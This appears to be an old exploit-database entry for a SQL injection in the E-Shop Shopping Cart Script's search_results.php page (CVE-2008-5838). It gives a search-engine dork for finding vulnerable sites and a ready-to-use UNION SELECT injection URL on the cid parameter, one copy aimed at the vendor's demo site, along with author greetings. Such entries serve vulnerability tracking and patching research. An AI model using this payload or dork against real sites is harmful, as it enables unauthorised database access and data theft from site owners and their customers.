E-Shop Shopping Cart Script - 'search_results.php' SQL Injection

Author: Mormoroth
type: webapps
platform: php
port: 
date_added: 2008-09-06 
date_updated:  
verified: 1 
codes: OSVDB-47461;CVE-2008-5838 
tags: 
aliases:  
screenshot_url:  
application_url: 

ephpscripts SQL Injection
Bug Founded By Mormoroth
This Portal Isnt Free
Sp TNX to : imm02rtal-Magicboy-Yashi Lashi-DJ7xpl-R$p And Others
www.mormoroth.net
www.shabgard.org
dork : Powered by ephpscripts
Exploit : Site.com/path/search_results.php?cid=-1/**/union/**/select/**/1,version(),3,4,5,6--
exp:http://www.ephpscripts.com/demo/eshop/search_results.php?cid=-1/**/union/**/select/**/1,version(),3,4,5,6--
Persian Gulf Forever
Iraninan xxxers :D

# milw0rm.com [2008-09-07]